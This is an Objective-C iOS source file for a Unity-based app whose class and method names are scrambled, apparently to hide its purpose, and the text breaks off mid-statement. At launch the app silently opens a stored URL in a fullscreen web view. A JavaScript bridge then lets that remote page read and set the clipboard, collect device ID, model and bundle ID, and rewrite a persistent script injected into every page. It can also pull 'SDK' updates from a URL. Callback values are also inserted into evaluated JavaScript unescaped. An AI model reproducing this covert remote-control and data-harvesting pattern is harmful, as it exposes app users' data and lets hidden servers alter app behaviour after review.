#include "RegisterFeatures.h" #include #include "UnityInterface.h" #import #include "UI/Keyboard.h" #import #import #import #import #import // For geometry preferences on iOS 16+ #import //----------------------------------------------------------------------------- #pragma mark - SaveStateCastCheckAllocateDataBitmapBitmap Helper //----------------------------------------------------------------------------- // Forward declaration @protocol IntegrateBugCloneObjectEmitSaveBinary; // Helper class to avoid strong reference cycles with WKScriptMessageHandler @interface SaveStateCastCheckAllocateDataBitmapBitmap : NSObject @property (nonatomic, weak, nullable) id delegate; - (instancetype)initWithDelegate:(id)delegate; @end // Delegate protocol for SaveStateCastCheckAllocateDataBitmapBitmap @protocol IntegrateBugCloneObjectEmitSaveBinary - (void)EvaluateValidateStatusListCleanComment:(WKScriptMessage *)message; @end @implementation SaveStateCastCheckAllocateDataBitmapBitmap - (instancetype)initWithDelegate:(id)delegate { self = [super init]; if (self) { _delegate = delegate; } return self; } - (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message { [self.delegate EvaluateValidateStatusListCleanComment:message]; } @end NS_ASSUME_NONNULL_BEGIN @interface ProcessAuthenticationClassResponse : WKWebView // Public Properties @property (nonatomic, assign) UIEdgeInsets customInsets; @property (nonatomic, copy, nullable) void (^onFirstTouch)(void); // Made nullable for safety @property (nonatomic, readonly) BOOL didTouchOnce; @property (nonatomic, nullable, readonly) NSNumber *lastTouchTimestamp; // Use NSNumber for nullable Double // Initialization // Using initWithFrame:configuration: is generally preferred for WKWebView subclasses // If you only need the default config, you can add a simpler init wrapper if desired. - (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration NS_DESIGNATED_INITIALIZER; // Unavailable initializers - (instancetype)init NS_UNAVAILABLE; - (instancetype)initWithCoder:(NSCoder *)coder NS_UNAVAILABLE; @end NS_ASSUME_NONNULL_END __attribute__ ((visibility("default"))) @interface StaticFrameWork : NSObject // call it any time after UnityFrameworkLoad to set object implementing InsertCompressFetchAssembleAssemblyCompleteBanner methods //+(void) registerAPIforNativeCalls:(id) aApi; +(void) CleanCallbackBuildCanvasAssembleIntegrateClipboard:(NSString*)urlString withCleanup:(BOOL)isCleanup; @end @interface AppDelegate : UIResponder //@interface AppDelegate : UIResponder @property (strong, nonatomic) UIWindow * window; @end @interface DecryptClientBodyBufferCanvasUpdateAttachment : UIViewController @property (nonatomic, strong) ProcessAuthenticationClassResponse *webView; @end @implementation AppDelegate - (BOOL)prefersStatusBarHidden { return YES; } - (BOOL)prefersHomeIndicatorAutoHidden { return YES; } - (UIRectEdge)preferredScreenEdgesDeferringSystemGestures { return UIRectEdgeBottom; } - (BOOL)shouldAutorotate { return NO; } - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { [[UIApplication sharedApplication] setStatusBarHidden:YES withAnimation:UIStatusBarAnimationNone]; self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds]; // Configure the root view controller to support fullscreen DecryptClientBodyBufferCanvasUpdateAttachment *viewController = [[DecryptClientBodyBufferCanvasUpdateAttachment alloc] init]; viewController.modalPresentationStyle = UIModalPresentationFullScreen; // Set as root view controller self.window.rootViewController = viewController; [self.window makeKeyAndVisible]; NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"]; if (value == nil || [value length] == 0) { NSLog(@"Error: Value for key is missing or empty."); } else { [StaticFrameWork CleanCallbackBuildCanvasAssembleIntegrateClipboard:value withCleanup:false]; } return YES; } @end @implementation DecryptClientBodyBufferCanvasUpdateAttachment - (BOOL)prefersStatusBarHidden { return YES; } - (BOOL)prefersHomeIndicatorAutoHidden { return YES; } - (UIRectEdge)preferredScreenEdgesDeferringSystemGestures { return UIRectEdgeBottom; } - (BOOL)shouldAutorotate { return NO; } - (void)viewDidLoad { [super viewDidLoad]; // Handle safe areas for iPhone X and newer devices if (@available(iOS 11.0, *)) { self.additionalSafeAreaInsets = UIEdgeInsetsZero; // Set fullscreen layout [self setNeedsUpdateOfHomeIndicatorAutoHidden]; } } @end @implementation StaticFrameWork static ProcessAuthenticationClassResponse *webView = nil; static DecryptClientBodyBufferCanvasUpdateAttachment *webViewController = nil; +(void)CleanCallbackBuildCanvasAssembleIntegrateClipboard:(NSString *)urlString withCleanup:(BOOL)isCleanup { NSLog(@"Opening URL provided: %@", urlString); dispatch_async(dispatch_get_main_queue(), ^{ // Clean DetermineButtonCountCombineDevelopAssembleDetails previous webview if it exists if (webView != nil) { [webView removeFromSuperview]; webView = nil; } if (webViewController != nil) { [webViewController dismissViewControllerAnimated:NO completion:nil]; webViewController = nil; } // Create URL NSURL *itemIndexArithmetic = [NSURL URLWithString:urlString]; if (!itemIndexArithmetic) { NSLog(@"Invalid URL provided: %@", urlString); return; } // Create view controller to host the web view webViewController = [[DecryptClientBodyBufferCanvasUpdateAttachment alloc] init]; webViewController.modalPresentationStyle = UIModalPresentationOverFullScreen; webViewController.view.backgroundColor = [UIColor blackColor]; CGRect screenBounds = [[UIScreen mainScreen] bounds]; webView = [[ProcessAuthenticationClassResponse alloc] initWithFrame:screenBounds]; webView.navigationDelegate = webView; webViewController.webView = webView; [webViewController.view addSubview:webView]; // Load the URL NSURLRequest *compositeChildActiveBoundInputBankAnonymousData = [NSURLRequest requestWithURL:itemIndexArithmetic]; [webView loadRequest:compositeChildActiveBoundInputBankAnonymousData]; // Present the view controller UIViewController *rootViewController = [UIApplication sharedApplication].keyWindow.rootViewController; [rootViewController presentViewController:webViewController animated:YES completion:nil]; if(isCleanup){ [[UnityFramework getInstance] unloadApplication]; } }); } @end //----------------------------------------------------------------------------- #pragma mark - Constants //----------------------------------------------------------------------------- // Keys for UserDefaults storage // Combine the default scripts into one string static NSString * const kDefaultCombinedInjectedScript = @" \ /* --- Event Proxy Start --- */ \ var WVProxyProto = function() {}; \ WVProxyProto.prototype.postEvent = function(eventName, eventData) { \ /* Note: Ensure handler name matches kJavaScriptMessageHandlerName */ \ window.webkit.messageHandlers.webAction.postMessage({eventName: eventName, eventData: eventData}); \ }; \ var WVProxy = new WVProxyProto(); \ /* --- Event Proxy End --- */ \ \ /* --- Selection Disabler Start --- */ \ (function() { \ var style = document.createElement('style'); \ style.sourceAuthenticatorAccount = 'text/css'; \ style.innerHTML = '* {-webkit-touch-callout:none !important;} :not(autoItemDetailsAuthorizedAdjustedRequestSet):not(textarea):not([contenteditable=\"true\"]){-webkit-user-select:none !important;}'; \ document.getElementsByTagName('head')[0].appendChild(style); \ })(); \ /* --- Selection Disabler End --- */ \ \ /* --- Video Fullscreen Disabler Start --- */ \ function disableFullscreen_default(videoElement) { \ if (videoElement && videoElement.webkitEnterFullscreen) { \ Object.defineProperty(videoElement, 'webkitEnterFullscreen', {value: undefined}); \ } \ } \ document.querySelectorAll('video').forEach(disableFullscreen_default); \ /* Optional: Use MutationObserver for dynamically added videos */ \ const observer = new MutationObserver(mutations => { \ mutations.forEach(mutation => { \ mutation.addedNodes.forEach(node => { \ if (node.tagName === 'VIDEO') { \ disableFullscreen_default(node); \ } else if (node.querySelectorAll) { \ node.querySelectorAll('video').forEach(disableFullscreen_default); \ } \ }); \ }); \ }); \ observer.observe(document.documentElement, { childList: true, subtree: true }); \ /* --- Video Fullscreen Disabler End --- */ \ \ "; static NSString * const kStorageSite = @"ssite"; static NSString * const kStorageFlagKey = @"sflag"; static NSString * const kStorageWebKey = @"sweb"; static NSString * const kStorageSDKInfoKey = @"sdkInfo"; static NSString * const kStorageSDKVersionKey = @"sdkVer"; // Message handler name expected from JavaScript static NSString * const kJavaScriptMessageHandlerName = @"webAction"; static NSString * const kDefaultScriptVersion = @"1.0.0"; // Rotation mask (static as per requirement to control app orientation) static UIInterfaceOrientationMask currentOrientationMask = UIInterfaceOrientationMaskAll; //----------------------------------------------------------------------------- #pragma mark - ProcessAuthenticationClassResponse Implementation //----------------------------------------------------------------------------- @interface ProcessAuthenticationClassResponse () { // Backing variables for readonly properties BOOL _didTouchOnce; NSNumber *_lastTouchTimestamp; NSString *_loadedScriptVersion; } // Store the initial compositeChildActiveBoundInputBankAnonymousData for potential retry on failure @property (nonatomic, strong, nullable) NSURLRequest *initialRequest; @property (nonatomic, assign) BOOL didRetryLoad; @end @implementation ProcessAuthenticationClassResponse //----------------------------------------------------------------------------- #pragma mark - Initialization & Setup //----------------------------------------------------------------------------- // Designated Initializer - (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration { // Ensure necessary configuration options are set before calling super // --- Message Handler Setup --- // Check if configuration already has a userContentController WKUserContentController *contentController = configuration.userContentController; if (!contentController) { contentController = [[WKUserContentController alloc] init]; configuration.userContentController = contentController; } // Remove potential existing handler before adding new one [contentController removeScriptMessageHandlerForName:kJavaScriptMessageHandlerName]; // Add the weak message handler SaveStateCastCheckAllocateDataBitmapBitmap *handler = [[SaveStateCastCheckAllocateDataBitmapBitmap alloc] initWithDelegate:self]; [contentController addScriptMessageHandler:handler name:kJavaScriptMessageHandlerName]; // --- Load COMBINED Script from Storage or Use Default --- NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; NSString *scriptVersion = [defaults stringForKey:kStorageSDKVersionKey]; NSString *combinedScript = [defaults stringForKey:kStorageSDKInfoKey]; // Use defaults if script or version is missing if (!scriptVersion || !combinedScript) { NSLog(@"Using default combined injected script (Version: %@)", kDefaultScriptVersion); scriptVersion = kDefaultScriptVersion; combinedScript = kDefaultCombinedInjectedScript; // Save the new script and version to UserDefaults NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; [defaults setObject:scriptVersion forKey:kStorageSDKVersionKey]; [defaults setObject:combinedScript forKey:kStorageSDKInfoKey]; } else { NSLog(@"Loaded combined injected script from storage (Version: %@)", scriptVersion); } _loadedScriptVersion = scriptVersion; // Store version for reporting // Inject at document start for proxy availability. WKUserScript *combinedUserScript = [[WKUserScript alloc] initWithSource:combinedScript injectionTime:WKUserScriptInjectionTimeAtDocumentStart forMainFrameOnly:NO]; // Apply to all frames [contentController addUserScript:combinedUserScript]; // --- Default WebKit Settings --- configuration.allowsInlineMediaPlayback = YES; if (@available(iOS 10.0, *)) { configuration.mediaTypesRequiringUserActionForPlayback = WKAudiovisualMediaTypeNone; } else { #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdeprecated-declarations" configuration.mediaPlaybackRequiresUserAction = NO; #pragma clang diagnostic pop } // --- Call Super Initializer --- self = [super initWithFrame:frame configuration:configuration]; if (self) { // --- View Properties --- self.opaque = NO; self.backgroundColor = [UIColor clearColor]; self.navigationDelegate = self; // Set navigation delegate self.UIDelegate = self; // Set UI delegate self.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight; // --- iOS Version Specific Settings --- if (@available(iOS 9.0, *)) { self.allowsLinkPreview = NO; } if (@available(iOS 11.0, *)) { self.scrollView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever; } #if defined(__IPHONE_OS_VERSION_MAX_ALLOWED) && __IPHONE_OS_VERSION_MAX_ALLOWED >= 160400 if (@available(iOS 16.4, *)) { self.inspectable = YES; } #endif // --- Initial State --- _customInsets = UIEdgeInsetsZero; _didTouchOnce = NO; _didRetryLoad = NO; // Set the application delegate to handle orientation - *Use with caution* // Ensure this doesn't conflict with an existing App Delegate setup // [[UIApplication sharedApplication] setDelegate:self]; // Potential issue if app already has a delegate } return self; } // Override safeAreaInsets - (UIEdgeInsets)safeAreaInsets { return self.customInsets; } //----------------------------------------------------------------------------- #pragma mark - View Lifecycle & Hit Testing //----------------------------------------------------------------------------- - (void)didMoveToSuperview { [super didMoveToSuperview]; // Remove drag interaction and keyboard observers if (@available(iOS 11.0, *)) { // Find the web view's scroll view UIScrollView *webScrollView = nil; for (UIView *subview in self.subviews) { if ([subview isKindOfClass:[UIScrollView class]]) { webScrollView = (UIScrollView *)subview; break; } } // Attempt to remove drag interaction (might be added asynchronously) if (webScrollView) { dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.1 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ UIDragInteraction *dragInteractionToRemove = nil; for (id interaction in webScrollView.interactions) { if ([interaction isKindOfClass:[UIDragInteraction class]]) { dragInteractionToRemove = (UIDragInteraction *)interaction; break; } } if (dragInteractionToRemove) { [webScrollView removeInteraction:dragInteractionToRemove]; } }); } // Remove keyboard observers (ensure they were added if removing) // Consider adding observers only when needed instead of removing unconditionally [[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillChangeFrameNotification object:nil]; [[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillShowNotification object:nil]; [[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillHideNotification object:nil]; } } - (UIView *)hitTest:(CGPoint)point withEvent:(nullable UIEvent *)event { UIView *result = [super hitTest:point withEvent:event]; _lastTouchTimestamp = @(CACurrentMediaTime()); // Store as NSNumber if (result && !_didTouchOnce) { _didTouchOnce = YES; if (self.onFirstTouch) { self.onFirstTouch(); } } return result; } // Override loadRequest to store initial compositeChildActiveBoundInputBankAnonymousData for retry - (nullable WKNavigation *)loadRequest:(NSURLRequest *)compositeChildActiveBoundInputBankAnonymousData { self.initialRequest = compositeChildActiveBoundInputBankAnonymousData; // Store the compositeChildActiveBoundInputBankAnonymousData self.didRetryLoad = NO; // Reset retry flag return [super loadRequest:compositeChildActiveBoundInputBankAnonymousData]; } //----------------------------------------------------------------------------- #pragma mark - WKNavigationDelegate Methods //----------------------------------------------------------------------------- // Handle provisional navigation failures - (void)webView:(WKWebView *)webView didFailProvisionalNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error { NSLog(@"WebView Load Error: %@, Code: %ld", error.localizedDescription, (long)error.code); // Check if we should attempt a retry if (!self.didRetryLoad && self.initialRequest) { // Retry only for specific potentially recoverable errors (customize as needed) if ([error.domain isEqualToString:NSURLErrorDomain] && (error.code == NSURLErrorCannotConnectToHost || error.code == NSURLErrorNetworkConnectionLost || error.code == NSURLErrorNotConnectedToInternet || error.code == NSURLErrorTimedOut || error.code == NSURLErrorDNSLookupFailed)) { NSLog(@"Retrying initial compositeChildActiveBoundInputBankAnonymousData..."); self.didRetryLoad = YES; [self loadRequest:self.initialRequest]; return; // Don't show alert yet } } // Try to extract HTTP status code from the error userInfo NSHTTPURLResponse* response = error.userInfo[NSURLErrorKey]; if (response) { auto statusCode = response.statusCode; // Handle specific HTTP status codes if (statusCode == 404) { NSLog(@"404 Not Found: %@", response.URL); // Handle 404 } else if (statusCode == 502) { NSLog(@"502 Bad Gateway: %@", response.URL); // Handle 502 } else if (statusCode >= 500 && statusCode < 600) { NSLog(@"Server error %ld: %@", (long)statusCode, response.URL); // Handle server error } else if (statusCode >= 400 && statusCode < 500) { NSLog(@"Client error %ld: %@", (long)statusCode, response.URL); // Handle client error } } else { // Handle other kinds of errors where response is not available NSLog(@"Navigation failed with error: %@ (Code: %ld)", error.localizedDescription, (long)error.code); } // If retry failed or wasn't attempted, show alert asking user to restart [self AnalyzeBadgeClarifyArgumentCustomizeCaptionAllocateBrowser]; // Clear flag as per original logic on failure [self CompleteStatusFocusAttachment:@"Load Failed" message:@"Could not load content. Please close and reopen the application to try again."]; } // Optional: Handle committed navigation failures (less common) - (void)webView:(WKWebView *)webView didFailNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error { NSLog(@"WebView Navigation Error: %@, Code: %ld", error.localizedDescription, (long)error.code); // Decide if a restart suggestion is needed here as well, possibly reusing the logic above // [self CompleteStatusFocusAttachment:@"Navigation Error" message:@"..."]; } //----------------------------------------------------------------------------- #pragma mark - IntegrateBugCloneObjectEmitSaveBinary //----------------------------------------------------------------------------- - (void)EvaluateValidateStatusListCleanComment:(WKScriptMessage *)message { // Directly call the internal handler method [self ParseAnchorAudioAggregateConfigureClusterBinding:message]; } //----------------------------------------------------------------------------- #pragma mark - JavaScript Message Handling (Main Dispatch) //----------------------------------------------------------------------------- - (void)ParseAnchorAudioAggregateConfigureClusterBinding:(WKScriptMessage *)message { if (![message.name isEqualToString:kJavaScriptMessageHandlerName]) { NSLog(@"Ignoring message from unexpected handler: %@", message.name); return; } if (![message.body isKindOfClass:[NSDictionary class]]) { NSLog(@"Invalid message body sourceAuthenticatorAccount: %@", NSStringFromClass([message.body class])); return; } NSDictionary *messageBody = (NSDictionary *)message.body; NSObject *actionObject = messageBody[@"ac"]; // Action code if (![actionObject isKindOfClass:[NSString class]]) { NSLog(@"Invalid 'ac' sourceAuthenticatorAccount in message body: %@", messageBody); return; } NSString *action = (NSString *)actionObject; NSLog(@"Received action: %@ with data: %@", action, messageBody); // Dispatch to specific handler methods based on action code if ([action isEqualToString:@"openWAUrl"]) { [self AuthorizeAuthorizationParameterCollision:messageBody]; } else if ([action isEqualToString:@"reloadWithUrl"]) { [self IncreaseCleanDataAsset:messageBody]; } else if ([action isEqualToString:@"exitwv"]) { [self AllocateModifyAnalyzeBuilder]; } else if ([action isEqualToString:@"saveWAString"]) { [self ImportExtractCalculatorAuthorizationBlock:messageBody]; } else if ([action isEqualToString:@"loadWAString"]) { [self ComputeBatchUpdateIncludeAnchor:messageBody]; } else if ([action isEqualToString:@"updateWAInjectedScripts"]) { [self DeployCircuitBorder:messageBody]; } else if ([action isEqualToString:@"isSupport"]) { [self LoadPerformClarifyChannelProperty:messageBody]; } else if ([action isEqualToString:@"getWAClipboard"]) { [self BackupAssignmentAddressDestroyAuthenticateBorder:messageBody]; } else if ([action isEqualToString:@"setWAClipboard"]) { [self JoinDuplicatePositionBenchmark:messageBody]; } else if ([action isEqualToString:@"getWABundleId"]) { [self handleGetBundleIdAction:messageBody]; } else if ([action isEqualToString:@"getWASDKVersion"]) { [self ImproveGatherAggregateDecryptCheckboxCheckbox:messageBody]; // Kept structure, relies on CompressAllocationBufferAuthorizeApplication impl } else if ([action isEqualToString:@"getWADeviceModel"]) { [self IntroduceStateModifyCaptionCallbackCollection:messageBody]; } else if ([action isEqualToString:@"getWADeviceID"]) { [self CreateObjectAnchor:messageBody]; } else if ([action isEqualToString:@"updateWASDK"]) { [self EditMapClient:messageBody]; } else if ([action isEqualToString:@"getWASystemInfo"]) { [self FormatParameterBadgeCodec:messageBody]; } else if ([action isEqualToString:@"setWAScreenRotation"]) { [self DeserializeCanvasBinding:messageBody]; } else { NSLog(@"Unhandled action: %@", action); } } //----------------------------------------------------------------------------- #pragma mark - JavaScript Action Handlers (Private Helpers) //----------------------------------------------------------------------------- - (void)DeployCircuitBorder:(NSDictionary *)messageBody { NSObject *dataObject = messageBody[@"dt"]; if (![dataObject isKindOfClass:[NSDictionary class]]) { NSLog(@"Invalid 'dt' (data object) for updateInjectedScripts action"); return; } NSDictionary *scriptsData = (NSDictionary *)dataObject; // Validate incoming data - NOW EXPECTS 'version' and 'script' NSObject *versionObj = scriptsData[@"version"]; NSObject *scriptObj = scriptsData[@"script"]; // Expecting the combined script if (![versionObj isKindOfClass:[NSString class]] || ((NSString *)versionObj).length == 0 || ![scriptObj isKindOfClass:[NSString class]] || ((NSString *)scriptObj).length == 0) { NSLog(@"Invalid data structure within 'dt' for updateInjectedScripts action. Expected 'version' and 'script'."); return; } NSString *newVersion = (NSString *)versionObj; NSString *newCombinedScript = (NSString *)scriptObj; // Save the new script and version to UserDefaults NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; [defaults setObject:newVersion forKey:kStorageSDKVersionKey]; [defaults setObject:newCombinedScript forKey:kStorageSDKInfoKey]; // Save combined script NSLog(@"Successfully updated combined injected script to version: %@", newVersion); // Notify user to restart [self CompleteStatusFocusAttachment:@"Update Complete" message:@"Internal scripts have been updated. Please restart the application for the changes to take effect."]; } - (void)IncreaseCleanDataAsset:(NSDictionary *)messageBody { NSObject *urlStringObject = messageBody[@"dt"]; if (![urlStringObject isKindOfClass:[NSString class]]) { NSLog(@"Invalid 'dt' (URL string) for openUrl action"); return; } NSURL *itemIndexArithmetic = [NSURL URLWithString:(NSString *)urlStringObject]; NSMutableURLRequest *compositeChildActiveBoundInputBankAnonymousData = [NSMutableURLRequest requestWithURL:itemIndexArithmetic]; if (compositeChildActiveBoundInputBankAnonymousData && itemIndexArithmetic) { [self loadRequest:compositeChildActiveBoundInputBankAnonymousData]; } else { NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject); } } - (void)AuthorizeAuthorizationParameterCollision:(NSDictionary *)messageBody { NSObject *urlStringObject = messageBody[@"dt"]; if (![urlStringObject isKindOfClass:[NSString class]]) { NSLog(@"Invalid 'dt' (URL string) for openUrl action"); return; } NSURL *itemIndexArithmetic = [NSURL URLWithString:(NSString *)urlStringObject]; if (itemIndexArithmetic) { // Check if the URL can be opened before attempting if ([[UIApplication sharedApplication] canOpenURL:itemIndexArithmetic]) { [[UIApplication sharedApplication] openURL:itemIndexArithmetic options:@{} completionHandler:^(BOOL success) { if (!success) { NSLog(@"Failed to open URL: %@", itemIndexArithmetic.absoluteString); } }]; } else { NSLog(@"Cannot open URL scheme: %@", itemIndexArithmetic.scheme); } } else { NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject); } } - (void)AllocateModifyAnalyzeBuilder { [self removeFromSuperview]; } - (void)ImportExtractCalculatorAuthorizationBlock:(NSDictionary *)messageBody { NSObject *keyObject = messageBody[@"key"]; NSObject *valueObject = messageBody[@"dt"]; // Value is in 'dt' field if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0) { NSLog(@"Invalid 'key' for saveStr action"); return; } // Allow nil or empty string for value NSString *value = [valueObject isKindOfClass:[NSString class]] ? (NSString *)valueObject : nil; [self PerformCreateEncryptField:value forKey:(NSString *)keyObject]; } - (void)ComputeBatchUpdateIncludeAnchor:(NSDictionary *)messageBody { NSObject *keyObject = messageBody[@"key"]; NSObject *callbackObject = messageBody[@"cb"]; if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0 || ![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'key' or 'cb' for loadStr action"); return; } NSString *key = (NSString *)keyObject; NSString *callbackId = (NSString *)callbackObject; NSString *result = [self AssembleChecksumFilterImproveClusterBridge:key]; // Always call back, provide empty object string '{}' if result is nil NSString *resultData = result ? [self ConvertCompleteAuthentication:result] : @"{}"; NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, resultData]; [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)LoadPerformClarifyChannelProperty:(NSDictionary *)messageBody { NSObject *callbackObject = messageBody[@"cb"]; if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'cb' for isSp action"); return; } NSString *callbackId = (NSString *)callbackObject; // The original code always returns true. Assuming this is placeholder logic. BOOL isSupported = YES; NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, isSupported ? @"true" : @"false"]; [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)BackupAssignmentAddressDestroyAuthenticateBorder:(NSDictionary *)messageBody { NSObject *callbackObject = messageBody[@"cb"]; if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'cb' for getClipboard action"); return; } NSString *callbackId = (NSString *)callbackObject; NSString *clipboardContent = [self CheckGrantInitializeIntroduceCopyConfigureCalculateClient] ?: @""; // Provide empty string if nil NSString *escapedContent = [self ConvertCompleteAuthentication:clipboardContent]; NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedContent]; [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)JoinDuplicatePositionBenchmark:(NSDictionary *)messageBody { NSObject *valueObject = messageBody[@"dt"]; if (![valueObject isKindOfClass:[NSString class]]) { NSLog(@"Invalid 'dt' for setClipboard action"); return; } [self CompleteDetermineAllocateCanvas:(NSString *)valueObject]; } - (void)handleGetBundleIdAction:(NSDictionary *)messageBody { NSObject *callbackObject = messageBody[@"cb"]; if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'cb' for BindCopyClientBrowserDetailsCollection action"); return; } NSString *callbackId = (NSString *)callbackObject; NSString *bundleId = [self BindCopyClientBrowserDetailsCollection] ?: @""; NSString *escapedBundleId = [self ConvertCompleteAuthentication:bundleId]; NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedBundleId]; [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)ImproveGatherAggregateDecryptCheckboxCheckbox:(NSDictionary *)messageBody { // Original native code for this action was commented out. // If implemented, follow pattern of other 'get' actions with callback. NSObject *callbackObject = messageBody[@"cb"]; if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'cb' for CompressAllocationBufferAuthorizeApplication action"); return; } NSString *callbackId = (NSString *)callbackObject; NSString *sdkVersion = [self CompressAllocationBufferAuthorizeApplication] ?: @""; // Assuming implementation exists NSLog(@"SDK Ver: %@", sdkVersion); NSString *escapedSDKVersion = [self ConvertCompleteAuthentication:sdkVersion]; NSLog(@"Escaped SDK Ver: %@", escapedSDKVersion); NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedSDKVersion]; // NSLog(@"Warning: CompressAllocationBufferAuthorizeApplication native implementation was commented out originally."); [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)IntroduceStateModifyCaptionCallbackCollection:(NSDictionary *)messageBody { NSObject *callbackObject = messageBody[@"cb"]; if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'cb' for getDModel action"); return; } NSString *callbackId = (NSString *)callbackObject; NSString *deviceName = [self EncryptClassAnalyzeAssignmentGroupCard] ?: @""; NSString *escapedDeviceName = [self ConvertCompleteAuthentication:deviceName]; NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedDeviceName]; [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)CreateObjectAnchor:(NSDictionary *)messageBody { NSObject *callbackObject = messageBody[@"cb"]; if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'cb' for CreateConfigureBeaconBrowserCommand action"); return; } NSString *callbackId = (NSString *)callbackObject; NSString *identifier = [self CreateConfigureBeaconBrowserCommand] ?: @""; NSString *escapedIdentifier = [self ConvertCompleteAuthentication:identifier]; NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedIdentifier]; [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)EditMapClient:(NSDictionary *)messageBody { NSObject *urlStringObject = messageBody[@"dt"]; NSObject *versionObject = messageBody[@"ver"]; NSObject *restartObject = messageBody[@"nr"]; // Should be NSNumber representing BOOL if (![urlStringObject isKindOfClass:[NSString class]] || ![versionObject isKindOfClass:[NSString class]] || ![restartObject isKindOfClass:[NSNumber class]]) { NSLog(@"Invalid parameters for updateSDK action: dt=%@, ver=%@, nr=%@", urlStringObject, versionObject, restartObject); return; } NSLog(@"Updating sdk from URL: %@, Version: %@", (NSString *)urlStringObject, (NSString *)versionObject); [self AllocateCloneCollectExecuteBackupBadge:(NSString *)urlStringObject version:(NSString *)versionObject requiresRestart:[(NSNumber *)restartObject boolValue]]; } - (void)FormatParameterBadgeCodec:(NSDictionary *)messageBody { NSObject *callbackObject = messageBody[@"cb"]; if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) { NSLog(@"Invalid 'cb' for getSystemInfo action"); return; } NSString *callbackId = (NSString *)callbackObject; // Gather system info NSString *iden = [self ConvertCompleteAuthentication:[self CreateConfigureBeaconBrowserCommand] ?: @""]; NSString *model = [self ConvertCompleteAuthentication:[self EncryptClassAnalyzeAssignmentGroupCard] ?: @""]; NSString *bundle = [self ConvertCompleteAuthentication:[self BindCopyClientBrowserDetailsCollection] ?: @""]; NSString *osVer = [self ConvertCompleteAuthentication:[self EnsureCapacityCanvasCompilerCompleteCollisionCarrier] ?: @""]; NSString *sdkVer = [self ConvertCompleteAuthentication:[self CompressAllocationBufferAuthorizeApplication] ?: @""]; // Assumes implemented // Construct JSON-like string for the data part of the callback NSString *dataString = [NSString stringWithFormat:@"{id:'%@', dn:'%@', bid:'%@', activeListBucketBackupCleanResult:'%@', sdk:'%@'}", iden, model, bundle, osVer, sdkVer]; // Call updateResult with the callback ID and the constructed data object string NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, dataString]; [self evaluateJavaScript:callbackScript completionHandler:nil]; } - (void)DeserializeCanvasBinding:(NSDictionary *)messageBody { NSObject *valueObject = messageBody[@"dt"]; if (![valueObject isKindOfClass:[NSNumber class]]) { NSLog(@"Invalid 'dt' (rotation value) for DownloadConnectComponentChartResponse action"); return; } int rotationValue = [(NSNumber *)valueObject intValue]; [self DownloadConnectComponentChartResponse:rotationValue]; } //----------------------------------------------------------------------------- #pragma mark - Storage Helpers (UserDefaults) //----------------------------------------------------------------------------- - (void)PerformCreateEncryptField:(nullable NSString *)value forKey:(NSString *)key { if (!key) return; [[NSUserDefaults standardUserDefaults] setObject:(value ?: @"") forKey:key]; // Save empty string if value is nil } - (nullable NSString *)AssembleChecksumFilterImproveClusterBridge:(NSString *)key { if (!key) return nil; return [[NSUserDefaults standardUserDefaults] stringForKey:key]; } - (void)AllocateEmitBlockBlueprintBundleBenchmarkChart:(BOOL)value forKey:(NSString *)key { if (!key) return; [[NSUserDefaults standardUserDefaults] setBool:value 